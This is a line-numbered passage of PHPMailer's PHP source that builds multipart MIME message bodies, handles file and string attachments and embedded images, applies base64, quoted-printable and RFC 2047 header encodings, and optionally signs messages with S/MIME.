3315 $bodyEncoding = '7bit';
3316 $bodyCharSet = 'us-ascii';
3317 }
3318 $altBodyEncoding = $this->Encoding;
3319 $altBodyCharSet = $this->CharSet;
3320 if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
3321 $altBodyEncoding = '7bit';
3322 $altBodyCharSet = 'us-ascii';
3323 }
3324 switch ($this->message_type) {
3325 case 'inline':
3326 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
3327 $body .= $this->encodeString($this->Body, $bodyEncoding);
3328 $body .= $this->LE . $this->LE;
3329 $body .= $this->attachAll('inline', $this->boundary[1]);
3330 break;
3331 case 'attach':
3332 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
3333 $body .= $this->encodeString($this->Body, $bodyEncoding);
3334 $body .= $this->LE . $this->LE;
3335 $body .= $this->attachAll('attachment', $this->boundary[1]);
3336 break;
3337 case 'inline_attach':
3338 $body .= $this->textLine('--' . $this->boundary[1]);
3339 $body .= $this->headerLine('Content-Type', 'multipart/related;');
3340 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
3341 $body .= $this->LE;
3342 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
3343 $body .= $this->encodeString($this->Body, $bodyEncoding);
3344 $body .= $this->LE . $this->LE;
3345 $body .= $this->attachAll('inline', $this->boundary[2]);
3346 $body .= $this->LE;
3347 $body .= $this->attachAll('attachment', $this->boundary[1]);
3348 break;
3349 case 'alt':
3350 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
3351 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
3352 $body .= $this->LE . $this->LE;
3353 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
3354 $body .= $this->encodeString($this->Body, $bodyEncoding);
3355 $body .= $this->LE . $this->LE;
3356 if (!empty($this->Ical)) {
3357 $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
3358 $body .= $this->encodeString($this->Ical, $this->Encoding);
3359 $body .= $this->LE . $this->LE;
3360 }
3361 $body .= $this->endBoundary($this->boundary[1]);
3362 break;
3363 case 'alt_inline':
3364 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
3365 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
3366 $body .= $this->LE . $this->LE;
3367 $body .= $this->textLine('--' . $this->boundary[1]);
3368 $body .= $this->headerLine('Content-Type', 'multipart/related;');
3369 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
3370 $body .= $this->LE;
3371 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
3372 $body .= $this->encodeString($this->Body, $bodyEncoding);
3373 $body .= $this->LE . $this->LE;
3374 $body .= $this->attachAll('inline', $this->boundary[2]);
3375 $body .= $this->LE;
3376 $body .= $this->endBoundary($this->boundary[1]);
3377 break;
3378 case 'alt_attach':
3379 $body .= $this->textLine('--' . $this->boundary[1]);
3380 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
3381 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
3382 $body .= $this->LE;
3383 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
3384 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
3385 $body .= $this->LE . $this->LE;
3386 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
3387 $body .= $this->encodeString($this->Body, $bodyEncoding);
3388 $body .= $this->LE . $this->LE;
3389 $body .= $this->endBoundary($this->boundary[2]);
3390 $body .= $this->LE;
3391 $body .= $this->attachAll('attachment', $this->boundary[1]);
3392 break;
3393 case 'alt_inline_attach':
3394 $body .= $this->textLine('--' . $this->boundary[1]);
3395 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
3396 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
3397 $body .= $this->LE;
3398 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
3399 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
3400 $body .= $this->LE . $this->LE;
3401 $body .= $this->textLine('--' . $this->boundary[2]);
3402 $body .= $this->headerLine('Content-Type', 'multipart/related;');
3403 $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
3404 $body .= $this->LE;
3405 $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
3406 $body .= $this->encodeString($this->Body, $bodyEncoding);
3407 $body .= $this->LE . $this->LE;
3408 $body .= $this->attachAll('inline', $this->boundary[3]);
3409 $body .= $this->LE;
3410 $body .= $this->endBoundary($this->boundary[2]);
3411 $body .= $this->LE;
3412 $body .= $this->attachAll('attachment', $this->boundary[1]);
3413 break;
3414 default:
3415 // catch case 'plain' and case ''
3416 $body .= $this->encodeString($this->Body, $bodyEncoding);
3417 break;
3418 }
3419
3420 if ($this->isError()) {
3421 $body = '';
3422 } elseif ($this->sign_key_file) {
3423 try {
3424 if (!defined('PKCS7_TEXT')) {
3425 throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
3426 }
3427 // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
3428 $file = tempnam(sys_get_temp_dir(), 'mail');
3429 if (false === file_put_contents($file, $body)) {
3430 throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
3431 }
3432 $signed = tempnam(sys_get_temp_dir(), 'signed');
3433 if (@openssl_pkcs7_sign(
3434 $file,
3435 $signed,
3436 'file://' . realpath($this->sign_cert_file),
3437 array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
3438 null
3439 )
3440 ) {
3441 @unlink($file);
3442 $body = file_get_contents($signed);
3443 @unlink($signed);
3444 } else {
3445 @unlink($file);
3446 @unlink($signed);
3447 throw new phpmailerException($this->lang('signing') . openssl_error_string());
3448 }
3449 } catch (phpmailerException $exc) {
3450 $body = '';
3451 if ($this->exceptions) {
3452 throw $exc;
3453 }
3454 }
3455 }
3456 return $body;
3457 }
3458
3459 /**
3460 * Return the start of a message boundary.
3461 * @access protected
3462 * @param string $boundary
3463 * @param string $charSet
3464 * @param string $contentType
3465 * @param string $encoding
3466 * @return string
3467 */
3468 protected function getBoundary($boundary, $charSet, $contentType, $encoding)
3469 {
3470 $result = '';
3471 if ($charSet == '') {
3472 $charSet = $this->CharSet;
3473 }
3474 if ($contentType == '') {
3475 $contentType = $this->ContentType;
3476 }
3477 if ($encoding == '') {
3478 $encoding = $this->Encoding;
3479 }
3480 $result .= $this->textLine('--' . $boundary);
3481 $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
3482 $result .= $this->LE;
3483 // RFC1341 part 5 says 7bit is assumed if not specified
3484 if ($encoding != '7bit') {
3485 $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
3486 }
3487 $result .= $this->LE;
3488
3489 return $result;
3490 }
3491
3492 /**
3493 * Return the end of a message boundary.
3494 * @access protected
3495 * @param string $boundary
3496 * @return string
3497 */
3498 protected function endBoundary($boundary)
3499 {
3500 return $this->LE . '--' . $boundary . '--' . $this->LE;
3501 }
3502
3503 /**
3504 * Set the message type.
3505 * PHPMailer only supports some preset message types,
3506 * not arbitrary MIME structures.
3507 * @access protected
3508 * @return void
3509 */
3510 protected function setMessageType()
3511 {
3512 $type = array();
3513 if ($this->alternativeExists()) {
3514 $type[] = 'alt';
3515 }
3516 if ($this->inlineImageExists()) {
3517 $type[] = 'inline';
3518 }
3519 if ($this->attachmentExists()) {
3520 $type[] = 'attach';
3521 }
3522 $this->message_type = implode('_', $type);
3523 if ($this->message_type == '') {
3524 $this->message_type = 'plain';
3525 }
3526 }
3527
3528 /**
3529 * Format a header line.
3530 * @access public
3531 * @param string $name
3532 * @param string $value
3533 * @return string
3534 */
3535 public function headerLine($name, $value)
3536 {
3537 return $name . ': ' . $value . $this->LE;
3538 }
3539
3540 /**
3541 * Return a formatted mail line.
3542 * @access public
3543 * @param string $value
3544 * @return string
3545 */
3546 public function textLine($value)
3547 {
3548 return $value . $this->LE;
3549 }
3550
3551 /**
3552 * Add an attachment from a path on the filesystem.
3553 * Returns false if the file could not be found or read.
3554 * @param string $path Path to the attachment.
3555 * @param string $name Overrides the attachment name.
3556 * @param string $encoding File encoding (see $Encoding).
3557 * @param string $type File extension (MIME) type.
3558 * @param string $disposition Disposition to use
3559 * @throws phpmailerException
3560 * @return boolean
3561 */
3562 public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
3563 {
3564 try {
3565 if (!@is_file($path)) {
3566 throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
3567 }
3568
3569 // If a MIME type is not specified, try to work it out from the file name
3570 if ($type == '') {
3571 $type = self::filenameToType($path);
3572 }
3573
3574 $filename = basename($path);
3575 if ($name == '') {
3576 $name = $filename;
3577 }
3578
3579 $this->attachment[] = array(
3580 0 => $path,
3581 1 => $filename,
3582 2 => $name,
3583 3 => $encoding,
3584 4 => $type,
3585 5 => false, // isStringAttachment
3586 6 => $disposition,
3587 7 => 0
3588 );
3589
3590 } catch (phpmailerException $exc) {
3591 $this->setError($exc->getMessage());
3592 $this->edebug($exc->getMessage());
3593 if ($this->exceptions) {
3594 throw $exc;
3595 }
3596 return false;
3597 }
3598 return true;
3599 }
3600
3601 /**
3602 * Return the array of attachments.
3603 * @return array
3604 */
3605 public function getAttachments()
3606 {
3607 return $this->attachment;
3608 }
3609
3610 /**
3611 * Attach all file, string, and binary attachments to the message.
3612 * Returns an empty string on failure.
3613 * @access protected
3614 * @param string $disposition_type
3615 * @param string $boundary
3616 * @return string
3617 */
3618 protected function attachAll($disposition_type, $boundary)
3619 {
3620 // Return text of body
3621 $mime = array();
3622 $cidUniq = array();
3623 $incl = array();
3624
3625 // Add all attachments
3626 foreach ($this->attachment as $attachment) {
3627 // Check if it is a valid disposition_filter
3628 if ($attachment[6] == $disposition_type) {
3629 // Check for string attachment
3630 $string = '';
3631 $path = '';
3632 $bString = $attachment[5];
3633 if ($bString) {
3634 $string = $attachment[0];
3635 } else {
3636 $path = $attachment[0];
3637 }
3638
3639 $inclhash = md5(serialize($attachment));
3640 if (in_array($inclhash, $incl)) {
3641 continue;
3642 }
3643 $incl[] = $inclhash;
3644 $name = $attachment[2];
3645 $encoding = $attachment[3];
3646 $type = $attachment[4];
3647 $disposition = $attachment[6];
3648 $cid = $attachment[7];
3649 if ($disposition == 'inline' && isset($cidUniq[$cid])) {
3650 continue;
3651 }
3652 $cidUniq[$cid] = true;
3653
3654 $mime[] = sprintf('--%s%s', $boundary, $this->LE);
3655 $mime[] = sprintf(
3656 'Content-Type: %s; name="%s"%s',
3657 $type,
3658 $this->encodeHeader($this->secureHeader($name)),
3659 $this->LE
3660 );
3661 // RFC1341 part 5 says 7bit is assumed if not specified
3662 if ($encoding != '7bit') {
3663 $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
3664 }
3665
3666 if ($disposition == 'inline') {
3667 $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
3668 }
3669
3670 // If a filename contains any of these chars, it should be quoted,
3671 // but not otherwise: RFC2183 & RFC2045 5.1
3672 // Fixes a warning in IETF's msglint MIME checker
3673 // Allow for bypassing the Content-Disposition header totally
3674 if (!(empty($disposition))) {
3675 $encoded_name = $this->encodeHeader($this->secureHeader($name));
3676 if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
3677 $mime[] = sprintf(
3678 'Content-Disposition: %s; filename="%s"%s',
3679 $disposition,
3680 $encoded_name,
3681 $this->LE . $this->LE
3682 );
3683 } else {
3684 $mime[] = sprintf(
3685 'Content-Disposition: %s; filename=%s%s',
3686 $disposition,
3687 $encoded_name,
3688 $this->LE . $this->LE
3689 );
3690 }
3691 } else {
3692 $mime[] = $this->LE;
3693 }
3694
3695 // Encode as string attachment
3696 if ($bString) {
3697 $mime[] = $this->encodeString($string, $encoding);
3698 if ($this->isError()) {
3699 return '';
3700 }
3701 $mime[] = $this->LE . $this->LE;
3702 } else {
3703 $mime[] = $this->encodeFile($path, $encoding);
3704 if ($this->isError()) {
3705 return '';
3706 }
3707 $mime[] = $this->LE . $this->LE;
3708 }
3709 }
3710 }
3711
3712 $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
3713
3714 return implode('', $mime);
3715 }
3716
3717 /**
3718 * Encode a file attachment in requested format.
3719 * Returns an empty string on failure.
3720 * @param string $path The full path to the file
3721 * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
3722 * @throws phpmailerException
3723 * @see EncodeFile(encodeFile
3724 * @access protected
3725 * @return string
3726 */
3727 protected function encodeFile($path, $encoding = 'base64')
3728 {
3729 try {
3730 if (!is_readable($path)) {
3731 throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
3732 }
3733 $magic_quotes = get_magic_quotes_runtime();
3734 if ($magic_quotes) {
3735 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
3736 set_magic_quotes_runtime(false);
3737 } else {
3738 //Doesn't exist in PHP 5.4, but we don't need to check because
3739 //get_magic_quotes_runtime always returns false in 5.4+
3740 //so it will never get here
3741 ini_set('magic_quotes_runtime', 0);
3742 }
3743 }
3744 $file_buffer = file_get_contents($path);
3745 $file_buffer = $this->encodeString($file_buffer, $encoding);
3746 if ($magic_quotes) {
3747 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
3748 set_magic_quotes_runtime($magic_quotes);
3749 } else {
3750 ini_set('magic_quotes_runtime', ($magic_quotes?'1':'0'));
3751 }
3752 }
3753 return $file_buffer;
3754 } catch (Exception $exc) {
3755 $this->setError($exc->getMessage());
3756 return '';
3757 }
3758 }
3759
3760 /**
3761 * Encode a string in requested format.
3762 * Returns an empty string on failure.
3763 * @param string $str The text to encode
3764 * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
3765 * @access public
3766 * @return string
3767 */
3768 public function encodeString($str, $encoding = 'base64')
3769 {
3770 $encoded = '';
3771 switch (strtolower($encoding)) {
3772 case 'base64':
3773 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
3774 break;
3775 case '7bit':
3776 case '8bit':
3777 $encoded = $this->fixEOL($str);
3778 // Make sure it ends with a line break
3779 if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
3780 $encoded .= $this->LE;
3781 }
3782 break;
3783 case 'binary':
3784 $encoded = $str;
3785 break;
3786 case 'quoted-printable':
3787 $encoded = $this->encodeQP($str);
3788 break;
3789 default:
3790 $this->setError($this->lang('encoding') . $encoding);
3791 break;
3792 }
3793 return $encoded;
3794 }
3795
3796 /**
3797 * Encode a header string optimally.
3798 * Picks shortest of Q, B, quoted-printable or none.
3799 * @access public
3800 * @param string $str
3801 * @param string $position
3802 * @return string
3803 */
3804 public function encodeHeader($str, $position = 'text')
3805 {
3806 $matchcount = 0;
3807 switch (strtolower($position)) {
3808 case 'phrase':
3809 if (!preg_match('/[\200-\377]/', $str)) {
3810 // Can't use addslashes as we don't know the value of magic_quotes_sybase
3811 $encoded = addcslashes($str, "\0..\37\177\\\"");
3812 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
3813 return ($encoded);
3814 } else {
3815 return ("\"$encoded\"");
3816 }
3817 }
3818 $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
3819 break;
3820 /** @noinspection PhpMissingBreakStatementInspection */
3821 case 'comment':
3822 $matchcount = preg_match_all('/[()"]/', $str, $matches);
3823 // Intentional fall-through
3824 case 'text':
3825 default:
3826 $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
3827 break;
3828 }
3829
3830 if ($matchcount == 0) { // There are no chars that need encoding
3831 return ($str);
3832 }
3833
3834 $maxlen = 75 - 7 - strlen($this->CharSet);
3835 // Try to select the encoding which should produce the shortest output
3836 if ($matchcount > strlen($str) / 3) {
3837 // More than a third of the content will need encoding, so B encoding will be most efficient
3838 $encoding = 'B';
3839 if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
3840 // Use a custom function which correctly encodes and wraps long
3841 // multibyte strings without breaking lines within a character
3842 $encoded = $this->base64EncodeWrapMB($str, "\n");
3843 } else {
3844 $encoded = base64_encode($str);
3845 $maxlen -= $maxlen % 4;
3846 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
3847 }
3848 } else {
3849 $encoding = 'Q';
3850 $encoded = $this->encodeQ($str, $position);
3851 $encoded = $this->wrapText($encoded, $maxlen, true);
3852 $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
3853 }
3854
3855 $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
3856 $encoded = trim(str_replace("\n", $this->LE, $encoded));
3857
3858 return $encoded;
3859 }
3860
3861 /**
3862 * Check if a string contains multi-byte characters.
3863 * @access public
3864 * @param string $str multi-byte text to wrap encode
3865 * @return boolean
3866 */
3867 public function hasMultiBytes($str)
3868 {
3869 if (function_exists('mb_strlen')) {
3870 return (strlen($str) > mb_strlen($str, $this->CharSet));
3871 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
3872 return false;
3873 }
3874 }
3875
3876 /**
3877 * Does a string contain any 8-bit chars (in any charset)?
3878 * @param string $text
3879 * @return boolean
3880 */
3881 public function has8bitChars($text)
3882 {
3883 return (boolean)preg_match('/[\x80-\xFF]/', $text);
3884 }
3885
3886 /**
3887 * Encode and wrap long multibyte strings for mail headers
3888 * without breaking lines within a character.
3889 * Adapted from a function by paravoid
3890 * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
3891 * @access public
3892 * @param string $str multi-byte text to wrap encode
3893 * @param string $linebreak string to use as linefeed/end-of-line
3894 * @return string
3895 */
3896 public function base64EncodeWrapMB($str, $linebreak = null)
3897 {
3898 $start = '=?' . $this->CharSet . '?B?';
3899 $end = '?=';
3900 $encoded = '';
3901 if ($linebreak === null) {
3902 $linebreak = $this->LE;
3903 }
3904
3905 $mb_length = mb_strlen($str, $this->CharSet);
3906 // Each line must have length <= 75, including $start and $end
3907 $length = 75 - strlen($start) - strlen($end);
3908 // Average multi-byte ratio
3909 $ratio = $mb_length / strlen($str);
3910 // Base64 has a 4:3 ratio
3911 $avgLength = floor($length * $ratio * .75);
3912
3913 for ($i = 0; $i < $mb_length; $i += $offset) {
3914 $lookBack = 0;
3915 do {
3916 $offset = $avgLength - $lookBack;
3917 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
3918 $chunk = base64_encode($chunk);
3919 $lookBack++;
3920 } while (strlen($chunk) > $length);
3921 $encoded .= $chunk . $linebreak;
3922 }
3923
3924 // Chomp the last linefeed
3925 $encoded = substr($encoded, 0, -strlen($linebreak));
3926 return $encoded;
3927 }
3928
3929 /**
3930 * Encode a string in quoted-printable format.
3931 * According to RFC2045 section 6.7.
3932 * @access public
3933 * @param string $string The text to encode
3934 * @param integer $line_max Number of chars allowed on a line before wrapping
3935 * @return string
3936 * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
3937 */
3938 public function encodeQP($string, $line_max = 76)
3939 {
3940 if (function_exists('quoted_printable_encode')) { // Use native function if it's available (>= PHP5.3)
3941 return $this->fixEOL(quoted_printable_encode($string));
3942 }
3943 // Fall back to a pure PHP implementation
3944 $string = str_replace(
3945 array('%20', '%0D%0A.', '%0D%0A', '%'),
3946 array(' ', "\r\n=2E", "\r\n", '='),
3947 rawurlencode($string)
3948 );
3949 $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
3950 return $this->fixEOL($string);
3951 }
3952
3953 /**
3954 * Backward compatibility wrapper for an old QP encoding function that was removed.
3955 * @see PHPMailer::encodeQP()
3956 * @access public
3957 * @param string $string
3958 * @param integer $line_max
3959 * @param boolean $space_conv
3960 * @return string
3961 * @deprecated Use encodeQP instead.
3962 */
3963 public function encodeQPphp(
3964 $string,
3965 $line_max = 76,
3966 /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
3967 ) {
3968 return $this->encodeQP($string, $line_max);
3969 }
3970
3971 /**
3972 * Encode a string using Q encoding.
3973 * @link http://tools.ietf.org/html/rfc2047
3974 * @param string $str the text to encode
3975 * @param string $position Where the text is going to be used, see the RFC for what that means
3976 * @access public
3977 * @return string
3978 */
3979 public function encodeQ($str, $position = 'text')
3980 {
3981 // There should not be any EOL in the string
3982 $pattern = '';
3983 $encoded = str_replace(array("\r", "\n"), '', $str);
3984 switch (strtolower($position)) {
3985 case 'phrase':
3986 // RFC 2047 section 5.3
3987 $pattern = '^A-Za-z0-9!*+\/ -';
3988 break;
3989 /** @noinspection PhpMissingBreakStatementInspection */
3990 case 'comment':
3991 // RFC 2047 section 5.2
3992 $pattern = '\(\)"';
3993 // intentional fall-through
3994 // for this reason we build the $pattern without including delimiters and []
3995 case 'text':
3996 default:
3997 // RFC 2047 section 5.1
3998 // Replace every high ascii, control, =, ? and _ characters
3999 $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
4000 break;
4001 }
4002 $matches = array();
4003 if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
4004 // If the string contains an '=', make sure it's the first thing we replace
4005 // so as to avoid double-encoding
4006 $eqkey = array_search('=', $matches[0]);
4007 if (false !== $eqkey) {
4008 unset($matches[0][$eqkey]);
4009 array_unshift($matches[0], '=');
4010 }
4011 foreach (array_unique($matches[0]) as $char) {
4012 $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
4013 }
4014 }
4015 // Replace every spaces to _ (more readable than =20)
4016 return str_replace(' ', '_', $encoded);
4017 }
4018
4019
4020 /**
4021 * Add a string or binary attachment (non-filesystem).
4022 * This method can be used to attach ascii or binary data,
4023 * such as a BLOB record from a database.
4024 * @param string $string String attachment data.
4025 * @param string $filename Name of the attachment.
4026 * @param string $encoding File encoding (see $Encoding).
4027 * @param string $type File extension (MIME) type.
4028 * @param string $disposition Disposition to use
4029 * @return void
4030 */
4031 public function addStringAttachment(
4032 $string,
4033 $filename,
4034 $encoding = 'base64',
4035 $type = '',
4036 $disposition = 'attachment'
4037 ) {
4038 // If a MIME type is not specified, try to work it out from the file name
4039 if ($type == '') {
4040 $type = self::filenameToType($filename);
4041 }
4042 // Append to $attachment array
4043 $this->attachment[] = array(
4044 0 => $string,
4045 1 => $filename,
4046 2 => basename($filename),
4047 3 => $encoding,
4048 4 => $type,
4049 5 => true, // isStringAttachment
4050 6 => $disposition,
4051 7 => 0
4052 );
4053 }
4054
4055 /**
4056 * Add an embedded (inline) attachment from a file.
4057 * This can include images, sounds, and just about any other document type.
4058 * These differ from 'regular' attachments in that they are intended to be
4059 * displayed inline with the message, not just attached for download.
4060 * This is used in HTML messages that embed the images
4061 * the HTML refers to using the $cid value.
4062 * @param string $path Path to the attachment.
4063 * @param string $cid Content ID of the attachment; Use this to reference
4064 * the content when using an embedded image in HTML.
4065 * @param string $name Overrides the attachment name.
4066 * @param string $encoding File encoding (see $Encoding).
4067 * @param string $type File MIME type.
4068 * @param string $disposition Disposition to use
4069 * @return boolean True on successfully adding an attachment
4070 */
4071 public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
4072 {
4073 if (!@is_file($path)) {
4074 $this->setError($this->lang('file_access') . $path);
4075 return false;
4076 }
4077
4078 // If a MIME type is not specified, try to work it out from the file name
4079 if ($type == '') {
4080 $type = self::filenameToType($path);
4081 }
4082
4083 $filename = basename($path);
4084 if ($name == '') {
4085 $name = $filename;
4086 }
4087
4088 // Append to $attachment array
4089 $this->attachment[] = array(
4090 0 => $path,
4091 1 => $filename,
4092 2 => $name,
4093 3 => $encoding,
4094 4 => $type,
4095 5 => false, // isStringAttachment
4096 6 => $disposition,
4097 7 => $cid
4098 );
4099 return true;
4100 }
4101
4102 /**
4103 * Add an embedded stringified attachment.
4104 * This can include images, sounds, and just about any other document type.
4105 * Be sure to set the $type to an image type for images:
4106 * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
4107 * @param string $string The attachment binary data.
4108 * @param string $cid Content ID of the attachment; Use this to reference
4109 * the content when using an embedded image in HTML.
4110 * @param string $name
4111 * @param string $encoding File encoding (see $Encoding).
4112 * @param string $type MIME type.
4113 * @param string $disposition Disposition to use
4114 * @return boolean True on successfully adding an attachment
4115 */
4116 public function addStringEmbeddedImage(
4117 $string,
4118 $cid,
4119 $name = '',
4120 $encoding = 'base64',
4121 $type = '',
4122 $disposition = 'inline'
4123 ) {
4124 // If a MIME type is not specified, try to work it out from the name
4125 if ($type == '') {
4126 $type = self::filenameToType($name);
4127 }
4128
4129 // Append to $attachment array
4130 $this->attachment[] = array(
4131 0 => $string,
4132 1 => $name,
4133 2 => $name,
4134 3 => $encoding,
4135 4 => $type,
4136 5 => true, // isStringAttachment
4137 6 => $disposition,
4138 7 => $cid
4139 );
4140 return true;
4141 }
4142
4143 /**
4144 * Check if an inline attachment is present.
4145 * @access public
4146 * @return boolean
4147 */
4148 public function inlineImageExists()
4149 {
4150 foreach ($this->attachment as $attachment) {
4151 if ($attachment[6] == 'inline') {
4152 return true;
4153 }
4154 }
4155 return false;
4156 }
4157
4158 /**
4159 * Check if an attachment (non-inline) is present.
4160 * @return boolean
4161 */
4162 public function attachmentExists()
4163 {
4164 foreach ($this->attachment as $attachment) {
4165 if ($attachment[6] == 'attachment') {
4166 return true;
4167 }
4168 }
4169 return false;
4170 }
4171
4172 /**
4173 * Check if this message has an alternative body set.
4174 * @return boolean
4175 */
4176 public function alternativeExists()
4177 {
4178 return !empty($this->AltBody);
4179 }
4180
4181 /**
4182 * Clear all To recipients.
4183 * @return void
4184 */
4185 public function clearAddresses()
4186 {
4187 foreach ($this->to as $to) {
4188 unset($this->all_recipients[strtolower($to[0])]);
4189 }
4190 $this->to = array();
4191 }
4192
4193 /**
4194 * Clear all CC recipients.
4195 * @return void
4196 */
4197 public function clearCCs()
4198 {
4199 foreach ($this->cc as $cc) {
4200 unset($this->all_recipients[strtolower($cc[0])]);
4201 }
4202 $this->cc = array();
4203 }
4204
4205 /**
4206 * Clear all BCC recipients.
4207 * @return void
4208 */
4209 public function clearBCCs()
4210 {
4211 foreach ($this->bcc as $bcc) {
4212 unset($this->all_recipients[strtolower($bcc[0])]);
4213 }
4214 $this->bcc = array();
4215 }
4216
4217 /**
4218 * Clear all ReplyTo recipients.
4219 * @return void
4220 */
4221 public function clearReplyTos()
4222 {
4223 $this->ReplyTo = array();
4224 }
4225
4226 /**
4227 * Clear all recipient types.
4228 * @return void
4229 */
4230 public function clearAllRecipients()
4231 {
4232 $this->to = array();
4233 $this->cc = array();
4234 $this->bcc = array();
4235 $this->all_recipients = array();
4236 }
4237
4238 /**
4239 * Clear all filesystem, string, and binary attachments.
4240 * @return void
4241 */
4242 public function clearAttachments()
4243 {
4244 $this->attachment = array();
4245 }
4246
4247 /**
4248 * Clear all custom headers.
4249 * @return void
4250 */
4251 public function clearCustomHeaders()
4252 {
4253 $this->CustomHeader = array();
4254 }
4255
4256 /**
4257 * Add an error message to the error container.
4258 * @access protected
4259 * @param string $msg
4260 * @return void
4261 */
4262 protected function setError($msg)
4263 {
4264 $this->error_count++;
4265 if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
4266 $lasterror = $this->smtp->getError();
4267 if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
4268 $msg .= '<p>' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . "</p>\n";
4269 }
4270 }
4271 $this->ErrorInfo = $msg;
4272 }
4273
4274 /**
4275 * Return an RFC 822 formatted date.
4276 * @access public
4277 * @return string
4278 * @static
4279 */
4280 public static function rfcDate()
4281 {
4282 // Set the time zone to whatever the default is to avoid 500 errors
4283 // Will default to UTC if it's not set properly in php.ini
4284 date_default_timezone_set(@date_default_timezone_get());
4285 return date('D, j M Y H:i:s O');
4286 }
4287
4288 /**
4289 * Get the server hostname.
4290 * Returns 'localhost.localdomain' if unknown.
4291 * @access protected
4292 * @return string
4293 */
4294 protected function serverHostname()
4295 {
4296 $result = 'localhost.localdomain';
4297 if (!empty($this->Hostname)) {
4298 $result = $this->Hostname;
4299 } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
4300 $result = $_SERVER['SERVER_NAME'];
4301 } elseif (function_exists('gethostname') && gethostname() !== false) {
4302 $result = gethostname();
4303 } elseif (php_uname('n') !== false) {
4304 $result = php_uname('n');
4305 }
4306 return $result;
4307 }
4308
4309 /**
4310 * Get an error message in the current language.
4311 * @access protected
4312 * @param string $key
4313 * @return string
4314 */
4315 protected function lang($key)
4316 {
4317 if (count($this->language) < 1) {
4318 $this->setLanguage('en'); // set the default language
4319 }
4320
4321 if (isset($this->language[$key])) {
4322 return $this->language[$key];
4323 } else {
4324 return 'Language string failed to load: ' . $key;
4325 }
4326 }
4327
4328 /**
4329 * Check if an error occurred.
4330 * @access public
4331 * @return boolean True if an error did occur.
4332 */
4333 public function isError()
4334 {
4335 return ($this->error_count > 0);
4336 }
4337
4338 /**
4339 * Ensure consistent line endings in a string.
4340 * Changes every end of line from CRLF, CR or LF to $this->LE.
4341 * @access public
4342 * @param string $str String to fixEOL
4343 * @return string
4344 */
4345 public function fixEOL($str)
4346 {
